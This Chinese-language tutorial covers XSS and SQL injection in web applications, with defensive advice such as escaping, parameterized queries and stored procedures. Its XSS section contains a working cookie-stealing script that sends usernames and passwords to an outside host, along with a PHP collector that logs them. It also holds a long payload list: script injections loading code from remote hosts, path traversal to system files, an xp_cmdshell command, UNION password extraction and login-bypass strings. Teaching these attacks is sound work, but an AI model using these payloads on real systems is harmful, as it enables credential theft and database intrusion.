XSS攻击和sql注入
XSS攻击和sql注入
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
一个简单的留言板
我们有个页面用于允许用户发表留言，然后在页面底部显示留言列表
<!DOCTYPE html>
<html>
<head>
<?php include('/components/headerinclude.php');?></head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: dashed 1px #ccc;
margin: 4px;
}
</style>
<script type="text/javascript" src="/js/cookies.js"></script>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">Your Comment</div>
<div style="padding:6px;">
Nick Name:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
Comment:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">Comments</div>
</div>
<?php
require('/components/comments.php');
if(!empty($_POST['name'])){
addElement($_POST['name'],$_POST['comment']);
}
renderComments();
?>
</div>
</form>
</body>
</html>
addElement()方法用于添加新的留言，而renderComments()方法用于展留言列表，网页看起来是这样的
XSS
因为我们完全信任了用户输入，但有些别有用心的用户会像这样的输入
这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”，如果这只是个恶意的小玩笑，有些人做的事情就不可爱了，有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等，看个最简单的例子
利用xss窃取用户名密码
当然这个示例很简单，几乎攻击不到任何网站，仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录，有些网站是直接用明文记录用户名、密码，恶意用户注册账户登录后使用简单工具查看cookie结构名称后，如果网站有xss漏洞，那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
几句简单的 javascript，获取 cookie 中的用户名密码，利用 jsonp 把向http://test.com/index.php
发送了一个get请求 http://test.com/index.php
<?php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
try{
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
这样恶意用户就把访问留言板的用户的信息窃取了
怎么预防
上面演示的是一个非常简单的XSS攻击，还有很多隐蔽的方式，但是其核心都是利用了脚本注入，因此我们解决办法其实很简单，不信赖用户输入，对特殊字符如”<”,”>”转义，就可以从根本上防止这一问题，当然很多解决方案都对XSS做了特定限制，如上面这中做法在ASP.NET中不幸不同，微软validateRequest对表单提交自动做了XSS验证。但防不胜防，总有些聪明的恶意用户会到我们的网站搞破坏，对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。
XSS跨站测试代码大全
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
Sql注入
摘要
日前，国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布，600万用户的登录名及密码被公开泄露，随后又有多家网站的用户密码被流传于网络，连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。
网络安全成为了现在互联网的焦点，这也恰恰触动了每一位用户的神经，由于设计的漏洞导致了不可收拾的恶果，验证了一句话“出来混的，迟早是要还的”，所以我想通过专题博文介绍一些常用的攻击技术和防范策略。
SQL Injection也许很多人都知道或者使用过，如果没有了解或完全没有听过也没有关系，因为接下来我们将介绍SQL Injection。
正文
SQL Injection：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。
首先让我们了解什么时候可能发生SQL Injection。
假设我们在浏览器中输入URL www.sample.com，由于它只是对页面的简单请求无需对数据库动进行动态请求，所以它不存在SQL Injection，当我们输入www.sample.com?testid=23时，我们在URL中传递变量testid，并且提供值为23，由于它是对数据库进行动态查询的请求（其中?testid＝23表示数据库查询变量），所以我们可以该URL中嵌入恶意SQL语句。
现在我们知道SQL Injection适用场合，接下来我们将通过具体的例子来说明SQL Injection的应用，这里我们以pubs数据库作为例子。
我们通过Web页面查询job表中的招聘信息.
job表的设计如下：
图1 jobs表
接着让我们实现Web程序，它根据工作Id（job_id）来查询相应的招聘信息.
示意代码如下：
/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
protected void Page_Load(object sender, EventArgs e) {
if (!IsPostBack) {
// Gets departmentId from http request.
string queryString = Request.QueryString["departmentID"];
if (!string.IsNullOrEmpty(queryString)) {
// Gets data from database.
gdvData.DataSource = GetData(queryString.Trim());
// Binds data to gridview.
gdvData.DataBind();
}
}
}
现在我们已经完成了Web程序，接下来让我们查询相应招聘信息吧。
图2 job表查询结果
如图所示，我们要查询数据库中工作Id值为1的工作信息，而且在页面显示了该工作的Id，Description，Min Lvl和Max Lvl等信息。
现在要求我们实现根据工作Id查询相应工作信息的功能，想必大家很快可以给出解决方案，SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1)
假设现在要求我们获取Department表中的所有数据，而且必须保留WHERE语句，那我们只要确保WHERE恒真就OK了.
SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1) OR 1 = 1
上面我们使得WHERE恒真，所以该查询中WHERE已经不起作用了，其查询结果等同于以下SQL语句。
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
SQL查询代码实现如下：
string sql1 = string.Format(
"SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'", jobId);
现在我们要通过页面请求的方式，让数据库执行我们的SQL语句，我们要在URL中嵌入恶意表达式1=1（或2=2等等），如下URL所示：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id = '1' OR '1' = 1'
图3 job表查询结果
现在我们把job表中的所有数据都查询出来了，仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。
虽然我们把job表的数据都查询出来了，但数据并没有太大的价值，由于我们把该表临时命名为job表，所以接着我们要找出该表真正表名。
首先我们假设表名就是job，然后输入以下URL：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id='1'or 1=(select count(*) from job) --'
图4 job表查询结果
当我们输入了以上URL后，结果服务器返回我们错误信息，这证明了我们的假设是错误的，那我们该感觉到挫败吗？不，其实这里返回了很多信息，首先它证明了该表名不是job，而且它还告诉我们后台数据库是SQL Server，不是MySQL或Oracle，这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是jobs，然后输入以下URL：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id='1'or 1=(select count(*) from jobs) --'
图5 job表查询结果
现在证明了该表名是jobs，这可以迈向成功的一大步，由于我们知道了表名就可以对该表进行增删改操作了，而且我们还可以猜测出更多的表对它们作出修改，一旦修改成功那么这将是一场灾难。
现在大家已经对SQL Injection的攻击有了初步的了解了，接下让我们学习如何防止SQL Injection。
总的来说有以下几点：
-
永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双"-"进行转换等。
-
永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
-
永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
-
然后继续校验输入数据中是否包含SQL语句的保留字，如：WHERE，EXEC，DROP等。
现在让我们编写正则表达式来校验用户的输入吧，正则表达式定义如下：
private static readonly Regex RegSystemThreats =
new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +
@"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?",
RegexOptions.Compiled | RegexOptions.IgnoreCase);
上面我们定义了一个正则表达式对象RegSystemThreats，并且给它传递了校验用户输入的正则表达式。
由于我们已经完成了对用户输入校验的正则表达式了，接下来就是通过该正则表达式来校验用户输入是否合法了，由于.NET已经帮我们实现了判断字符串是否匹配正则表达式的方法——IsMatch()，所以我们这里只需给传递要匹配的字符串就OK了。
示意代码如下：
/// <summary>
/// A helper method to attempt to discover [known] SqlInjection attacks.
/// </summary>
/// <param name="whereClause">string of the whereClause to check</param>
/// <returns>true if found, false if not found </returns>
public static bool DetectSqlInjection(string whereClause)
{
return RegSystemThreats.IsMatch(whereClause);
}
/// <summary>
/// A helper method to attempt to discover [known] SqlInjection attacks.
/// </summary>
/// <param name="whereClause">string of the whereClause to check</param>
/// <param name="orderBy">string of the orderBy clause to check</param>
/// <returns>true if found, false if not found </returns>
public static bool DetectSqlInjection(string whereClause, string orderBy)
{
return RegSystemThreats.IsMatch(whereClause) || RegSystemThreats.IsMatch(orderBy);
}
现在我们完成了校验用的正则表达式，接下来让我们需要在页面中添加校验功能。
/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Gets departmentId from http request.
string queryString = Request.QueryString["jobId"];
if (!string.IsNullOrEmpty(queryString))
{
if (!DetectSqlInjection(queryString) && !DetectSqlInjection(queryString, queryString))
{
// Gets data from database.
gdvData.DataSource = GetData(queryString.Trim());
// Binds data to gridview.
gdvData.DataBind();
}
else
{
throw new Exception("Please enter correct field");
}
}
}
}
当我们再次执行以下URL时，被嵌入的恶意语句被校验出来了，从而在一定程度上防止了SQL Injection。
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
图6 添加校验查询结果
但使用正则表达式只能防范一些常见或已知SQL Injection方式，而且每当发现有新的攻击方式时，都要对正则表达式进行修改，这可是吃力不讨好的工作。
通过参数化存储过程进行数据查询存取
首先我们定义一个存储过程根据jobId来查找jobs表中的数据。
-- =============================================
-- Author: JKhuang
-- Create date: 12/31/2011
-- Description: Get data from jobs table by specified jobId.
-- =============================================
ALTER PROCEDURE [dbo].[GetJobs]
-- ensure that the id type is int
@jobId INT
AS
BEGIN
-- SET NOCOUNT ON;
SELECT job_id, job_desc, min_lvl, max_lvl
FROM dbo.jobs
WHERE job_id = @jobId
GRANT EXECUTE ON GetJobs TO pubs
END
接着修改我们的Web程序使用参数化的存储过程进行数据查询。
using (var com = new SqlCommand("GetJobs", con))
{
// Uses store procedure.
com.CommandType = CommandType.StoredProcedure;
// Pass jobId to store procedure.
com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
com.Connection.Open();
gdvData.DataSource = com.ExecuteScalar();
gdvData.DataBind();
}
现在我们通过参数化存储过程进行数据库查询，这里我们把之前添加的正则表达式校验注释掉。
图7 存储过程查询结果
大家看到当我们试图在URL中嵌入恶意的SQL语句时，参数化存储过程已经帮我们校验出传递给数据库的变量不是整形，而且使用存储过程的好处是我们还可以很方便地控制用户权限，我们可以给用户分配只读或可读写权限。
但我们想想真的有必要每个数据库操作都定义成存储过程吗？而且那么多的存储过程也不利于日常的维护。
参数化SQL语句
还是回到之前动态拼接SQL基础上，我们知道一旦有恶意SQL代码传递过来，而且被拼接到SQL语句中就会被数据库执行，那么我们是否可以在拼接之前进行判断呢？——命名SQL参数。
string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = @jobId");
using (var con = new SqlConnection(ConfigurationManager.ConnectionStrings["SQLCONN1"].ToString()))
using (var com = new SqlCommand(sql1, con))
{
// Pass jobId to sql statement.
com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
com.Connection.Open();
gdvData.DataSource = com.ExecuteReader();
gdvData.DataBind();
}
图8 参数化SQL查询结果
这样我们就可以避免每个数据库操作（尤其一些简单数据库操作）都编写存储过程了，而且当用户具有数据库中jobs表的读权限才可以执行该SQL语句。
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间，您可以将架构视为对象的容器（类似于.NET中的命名空间）。
首先我们右击架构文件夹，然后新建架构。
图9 添加HumanResource架构
上面我们完成了在pubs数据库中添加HumanResource架构，接着把jobs表放到HumanResource架构中。
图 10 修改jobs表所属的架构
当我们再次执行以下SQL语句时，SQL Server提示jobs无效，这是究竟什么原因呢？之前还运行的好好的。
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs
图 11 查询输出
当我们输入完整的表名“架构名.对象名”（HumanResource.jobs）时，SQL语句执行成功。
SELECT job_id, job_desc, min_lvl, max_lvl FROM HumanResource.jobs
为什么之前我们执行SQL语句时不用输入完整表名dbo.jobs也可以执行呢？
这是因为默认的架构（default schema）是dbo，当只输入表名时，Sql Server会自动加上当前登录用户的默认的架构（default schema）——dbo。
由于我们使用自定义架构，这也降低了数据库表名被猜测出来的可能性。
LINQ to SQL
前面使用了存储过程和参数化查询，这两种方法都是非常常用的，而针对于.NET Framework的ORM框架也有很多，如：NHibernate，Castle和Entity Framework，这里我们使用比较简单LINQ to SQL。
图 12 添加jobs.dbml文件
var dc = new pubsDataContext();
int result;
// Validates jobId is int or not.
if (int.TryParse(jobId, out result))
{
gdvData.DataSource = dc.jobs.Where(p => p.job_id == result);
gdvData.DataBind();
}
相比存储过程和参数化查询，LINQ to SQL我们只需添加jobs.dbml，然后使用LINQ对表进行查询就OK了。
总结
我们在本文中介绍了SQL Injection的基本原理，通过介绍什么是SQL Injection，怎样进行SQL Injection和如何防范SQL Injection。通过一些程序源码对SQL的攻击进行了细致的分析，使我们对SQL Injection机理有了一个深入的认识，作为一名Web应用开发人员，一定不要盲目相信用户的输入，而要对用户输入的数据进行严格的校验处理，否则的话，SQL Injection将会不期而至。
最后，祝大家新年快乐，身体健康，Code with pleasure。
参考
http://en.wikipedia.org/wiki/SQL_injection
http://msdn.microsoft.com/zh-cn/library/bb153640%28v=SQL.90%29.aspx
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